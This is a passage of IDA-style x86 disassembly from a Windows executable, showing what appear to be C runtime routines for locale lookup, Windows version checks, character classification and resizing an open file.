loc_4305AC:				; CODE XREF: sub_4304A0:loc_430547j
					; sub_4304A0+B0j ...
		mov	eax, dword_4EFBEC
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4305B9:				; CODE XREF: sub_4304A0+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4304A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4305C0	proc near		; CODE XREF: sub_42FDA0+102p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4EFBE8
		push	eax
		call	sub_418D00
		add	esp, 4
		xor	ecx, ecx
		cmp	eax, 3
		setz	cl
		mov	dword_4EFBD8, ecx
		push	1
		push	offset sub_430610
		call	dword_4F12D8	; EnumSystemLocalesA
		mov	edx, dword_4EFBEC
		and	edx, 4
		test	edx, edx
		jnz	short loc_430603
		mov	dword_4EFBEC, 0


loc_430603:				; CODE XREF: sub_4305C0+37j
		pop	ebp
		retn
sub_4305C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430610	proc near		; DATA XREF: sub_4305C0+21o

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430A50
		add	esp, 4
		mov	[ebp+var_7C], eax
		push	78h
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBD8
		neg	edx
		sbb	edx, edx
		and	edx, 0FFFFF005h
		add	edx, 1002h
		push	edx
		mov	eax, [ebp+var_7C]
		push	eax
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_430661
		mov	dword_4EFBEC, 0
		mov	eax, 1
		jmp	short loc_4306B6
; ---------------------------------------------------------------------------


loc_430661:				; CODE XREF: sub_430610+3Ej
		lea	ecx, [ebp+var_78]
		push	ecx
		mov	edx, dword_4EFBE8
		push	edx
		call	sub_41DBF0
		add	esp, 8
		test	eax, eax
		jnz	short loc_4306A9
		mov	eax, [ebp+var_7C]
		push	eax
		call	sub_430790
		add	esp, 4
		test	eax, eax
		jz	short loc_4306A9
		mov	ecx, [ebp+var_7C]
		mov	dword_4EFBF0, ecx
		mov	edx, dword_4EFBF0
		mov	dword_4EFBD4, edx
		mov	eax, dword_4EFBEC
		or	al, 4
		mov	dword_4EFBEC, eax


loc_4306A9:				; CODE XREF: sub_430610+66j
					; sub_430610+76j
		mov	eax, dword_4EFBEC
		and	eax, 4
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4306B6:				; CODE XREF: sub_430610+4Fj
		mov	esp, ebp
		pop	ebp
		retn	4
sub_430610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4306C0	proc near		; CODE XREF: sub_42FDA0+38p
					; sub_42FDA0:loc_42FEA9p
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4EFBEC
		or	eax, 104h
		mov	dword_4EFBEC, eax
		call	dword_4F12D4	; GetUserDefaultLCID
		mov	dword_4EFBF0, eax
		mov	ecx, dword_4EFBF0
		mov	dword_4EFBD4, ecx
		pop	ebp
		retn
sub_4306C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4306F0	proc near		; CODE XREF: sub_42FDA0+128p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jz	short loc_43071B
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_43071B
		push	offset off_438D74
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jnz	short loc_430743


loc_43071B:				; CODE XREF: sub_4306F0+Aj
					; sub_4306F0+14j
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	1004h
		mov	ecx, dword_4EFBF0
		push	ecx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_43073B
		xor	eax, eax
		jmp	short loc_430787
; ---------------------------------------------------------------------------


loc_43073B:				; CODE XREF: sub_4306F0+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_43077B
; ---------------------------------------------------------------------------


loc_430743:				; CODE XREF: sub_4306F0+29j
		push	offset off_438D70
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41C4C0
		add	esp, 8
		test	eax, eax
		jnz	short loc_43077B
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, dword_4EFBF0
		push	edx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_430775
		xor	eax, eax
		jmp	short loc_430787
; ---------------------------------------------------------------------------


loc_430775:				; CODE XREF: sub_4306F0+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax


loc_43077B:				; CODE XREF: sub_4306F0+51j
					; sub_4306F0+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41B2F0
		add	esp, 4


loc_430787:				; CODE XREF: sub_4306F0+49j
					; sub_4306F0+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_4306F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430790	proc near		; CODE XREF: sub_4300F0+16Ep
					; sub_430610+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_4307B0
; ---------------------------------------------------------------------------


loc_4307A7:				; CODE XREF: sub_430790:loc_4307D4j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_4307B0:				; CODE XREF: sub_430790+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_4307D6
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, word_452314[eax*2]
		cmp	edx, ecx
		jnz	short loc_4307D4
		xor	eax, eax
		jmp	short loc_4307DB
; ---------------------------------------------------------------------------


loc_4307D4:				; CODE XREF: sub_430790+3Ej
		jmp	short loc_4307A7
; ---------------------------------------------------------------------------


loc_4307D6:				; CODE XREF: sub_430790+24j
		mov	eax, 1


loc_4307DB:				; CODE XREF: sub_430790+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_430790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307E0	proc near		; CODE XREF: sub_4300F0+260p
					; sub_4300F0+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4EFBF4
		test	eax, eax
		jnz	short loc_43081E
		xor	eax, eax
		jmp	short loc_430862
; ---------------------------------------------------------------------------


loc_43081E:				; CODE XREF: sub_4307E0+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_430A50
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_43085D
		cmp	[ebp+arg_4], 0
		jz	short loc_43085D
		mov	ecx, dword_4EFBE4
		push	ecx
		call	sub_430AD0
		add	esp, 4
		mov	esi, eax
		mov	edx, dword_4EFBE4
		push	edx
		call	sub_418D00
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_43085D
		xor	eax, eax
		jmp	short loc_430862
; ---------------------------------------------------------------------------


loc_43085D:				; CODE XREF: sub_4307E0+4Dj
					; sub_4307E0+53j ...
		mov	eax, 1


loc_430862:				; CODE XREF: sub_4307E0+3Cj
					; sub_4307E0+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4307E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430870	proc near		; CODE XREF: sub_42FDA0+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	dword_4F1384	; GetVersionExA
		test	eax, eax
		jz	short loc_4308A9
		cmp	[ebp+var_84], 2
		jnz	short loc_4308A9
		mov	[ebp+var_98], 1
		jmp	short loc_4308B3
; ---------------------------------------------------------------------------


loc_4308A9:				; CODE XREF: sub_430870+22j
					; sub_430870+2Bj
		mov	[ebp+var_98], 0


loc_4308B3:				; CODE XREF: sub_430870+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_430870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4308C0	proc near		; DATA XREF: sub_42FDA0:loc_42FDC2o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0


loc_4308DB:				; CODE XREF: sub_4308C0:loc_430A23j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_430A28
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_451E70[ecx]
		jnz	loc_4309FE
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_430937
		cmp	[ebp+var_14], 0Bh
		jz	loc_4309A9
		cmp	[ebp+var_14], 1
		jz	short loc_430954
		cmp	[ebp+var_14], 3
		jz	short loc_430976
		cmp	[ebp+var_14], 7
		jz	short loc_430998
		jmp	loc_4309C8
; ---------------------------------------------------------------------------


loc_430937:				; CODE XREF: sub_4308C0+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_430965
		cmp	[ebp+var_14], 1002h
		jz	short loc_430987
		cmp	[ebp+var_14], 1004h
		jz	short loc_4309BA
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_430954:				; CODE XREF: sub_4308C0+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_430965:				; CODE XREF: sub_4308C0+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_451E7C[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_430976:				; CODE XREF: sub_4308C0+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_451E80
		mov	[ebp+var_8], ecx
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_430987:				; CODE XREF: sub_4308C0+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_451E84[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_430998:				; CODE XREF: sub_4308C0+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_451E88
		mov	[ebp+var_8], ecx
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_4309A9:				; CODE XREF: sub_4308C0+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_451E8C
		mov	[ebp+var_8], edx
		jmp	short loc_4309C8
; ---------------------------------------------------------------------------


loc_4309BA:				; CODE XREF: sub_4308C0+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax


loc_4309C8:				; CODE XREF: sub_4308C0+72j
					; sub_4308C0+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_4309D4
		cmp	[ebp+arg_C], 1
		jge	short loc_4309D6


loc_4309D4:				; CODE XREF: sub_4308C0+10Cj
		jmp	short loc_430A28
; ---------------------------------------------------------------------------


loc_4309D6:				; CODE XREF: sub_4308C0+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_41B1F0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_430A3E
; ---------------------------------------------------------------------------


loc_4309FE:				; CODE XREF: sub_4308C0+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_451E70[edx]
		jnb	short loc_430A1A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_430A23
; ---------------------------------------------------------------------------


loc_430A1A:				; CODE XREF: sub_4308C0+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_430A23:				; CODE XREF: sub_4308C0+158j
		jmp	loc_4308DB
; ---------------------------------------------------------------------------


loc_430A28:				; CODE XREF: sub_4308C0+21j
					; sub_4308C0:loc_4309D4j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F1380	; GetLocaleInfoA


loc_430A3E:				; CODE XREF: sub_4308C0+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4308C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430A50	proc near		; CODE XREF: sub_4300F0+Ap
					; sub_4304A0+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0


loc_430A5D:				; CODE XREF: sub_430A50+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_430ABF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_430A92
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_430A92
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_430AAC
; ---------------------------------------------------------------------------


loc_430A92:				; CODE XREF: sub_430A50+2Dj
					; sub_430A50+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_430AAC
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_430AAC
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al


loc_430AAC:				; CODE XREF: sub_430A50+40j
					; sub_430A50+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_430A5D
; ---------------------------------------------------------------------------


loc_430ABF:				; CODE XREF: sub_430A50+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_430A50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430AD0	proc near		; CODE XREF: sub_430030+60p
					; sub_430420+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_430AEE:				; CODE XREF: sub_430AD0+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_430B00
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_430B12


loc_430B00:				; CODE XREF: sub_430AD0+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_430B2E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_430B2E


loc_430B12:				; CODE XREF: sub_430AD0+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_430AEE
; ---------------------------------------------------------------------------


loc_430B2E:				; CODE XREF: sub_430AD0+37j
					; sub_430AD0+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_430AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430C40	proc near		; CODE XREF: sub_429CD0+4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
sub_430C40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EFD4C, 3A4h
		jnz	short loc_430CAD
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_430CC0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_430CAD
		mov	dword ptr [ebp-4], 1
		jmp	short loc_430CB4
; ---------------------------------------------------------------------------


loc_430CAD:				; CODE XREF: .nsp0:00430C8Ej
					; .nsp0:00430CA2j
		mov	dword ptr [ebp-4], 0


loc_430CB4:				; CODE XREF: .nsp0:00430CABj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430CC0	proc near		; CODE XREF: .nsp0:00430B4Bp
					; .nsp0:00430B6Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4EFE61[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_430D14
		cmp	[ebp+arg_4], 0
		jz	short loc_430CFE
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word_4514A6[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_430D05
; ---------------------------------------------------------------------------


loc_430CFE:				; CODE XREF: sub_430CC0+27j
		mov	[ebp+var_4], 0


loc_430D05:				; CODE XREF: sub_430CC0+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_430D14
		mov	[ebp+var_8], 0
		jmp	short loc_430D1B
; ---------------------------------------------------------------------------


loc_430D14:				; CODE XREF: sub_430CC0+21j
					; sub_430CC0+49j
		mov	[ebp+var_8], 1


loc_430D1B:				; CODE XREF: sub_430CC0+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_430CC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4EFD40
		jnb	short loc_430D61
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_430D71


loc_430D61:				; CODE XREF: .nsp0:00430D3Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_430D9F
; ---------------------------------------------------------------------------


loc_430D71:				; CODE XREF: .nsp0:00430D5Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_430DB0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp-4]


loc_430D9F:				; CODE XREF: .nsp0:00430D6Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430DB0	proc near		; CODE XREF: sub_42C3D0+44Cp
					; .nsp0:00430D85p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_41BC60
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0


loc_430DD6:				; CODE XREF: sub_430DB0+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_430DFD
		push	offset dword_438D84
		push	0
		push	81h
		push	offset dword_438D78
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_430DFD
		int	3		; Trap to Debugger


loc_430DFD:				; CODE XREF: sub_430DB0+2Aj
					; sub_430DB0+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_430DD6
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_430E41
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_430E49


loc_430E41:				; CODE XREF: sub_430DB0+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_430FD9
; ---------------------------------------------------------------------------


loc_430E49:				; CODE XREF: sub_430DB0+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_430F60
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_41B190
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433F90
		add	esp, 8
		mov	[ebp+var_4], eax


loc_430E8F:				; CODE XREF: sub_430DB0+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_430EA7
		mov	[ebp+var_1020],	1000h
		jmp	short loc_430EB3
; ---------------------------------------------------------------------------


loc_430EA7:				; CODE XREF: sub_430DB0+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx


loc_430EB3:				; CODE XREF: sub_430DB0+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_430ED7
		mov	[ebp+var_1024],	1000h
		jmp	short loc_430EE3
; ---------------------------------------------------------------------------


loc_430ED7:				; CODE XREF: sub_430DB0+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax


loc_430EE3:				; CODE XREF: sub_430DB0+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BE80
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_430F2F
		call	sub_4248B0
		cmp	dword ptr [eax], 5
		jnz	short loc_430F21
		call	sub_4248A0
		mov	dword ptr [eax], 0Dh


loc_430F21:				; CODE XREF: sub_430DB0+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_430F4E
; ---------------------------------------------------------------------------


loc_430F2F:				; CODE XREF: sub_430DB0+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_430E8F


loc_430F4E:				; CODE XREF: sub_430DB0+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433F90
		add	esp, 8
		jmp	short loc_430FBE
; ---------------------------------------------------------------------------


loc_430F60:				; CODE XREF: sub_430DB0+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_430FBE
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429380
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42BAD0
		add	esp, 4
		push	eax
		call	dword_4F12D0	; SetEndOfFile
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_430FBE
		call	sub_4248A0
		mov	dword ptr [eax], 0Dh
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4248B0
		mov	[eax], esi


loc_430FBE:				; CODE XREF: sub_430DB0+1AEj
					; sub_430DB0+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429380
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]


loc_430FD9:				; CODE XREF: sub_430DB0+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_430DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430FE0	proc near		; CODE XREF: sub_42D380+53p
					; sub_42D380+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
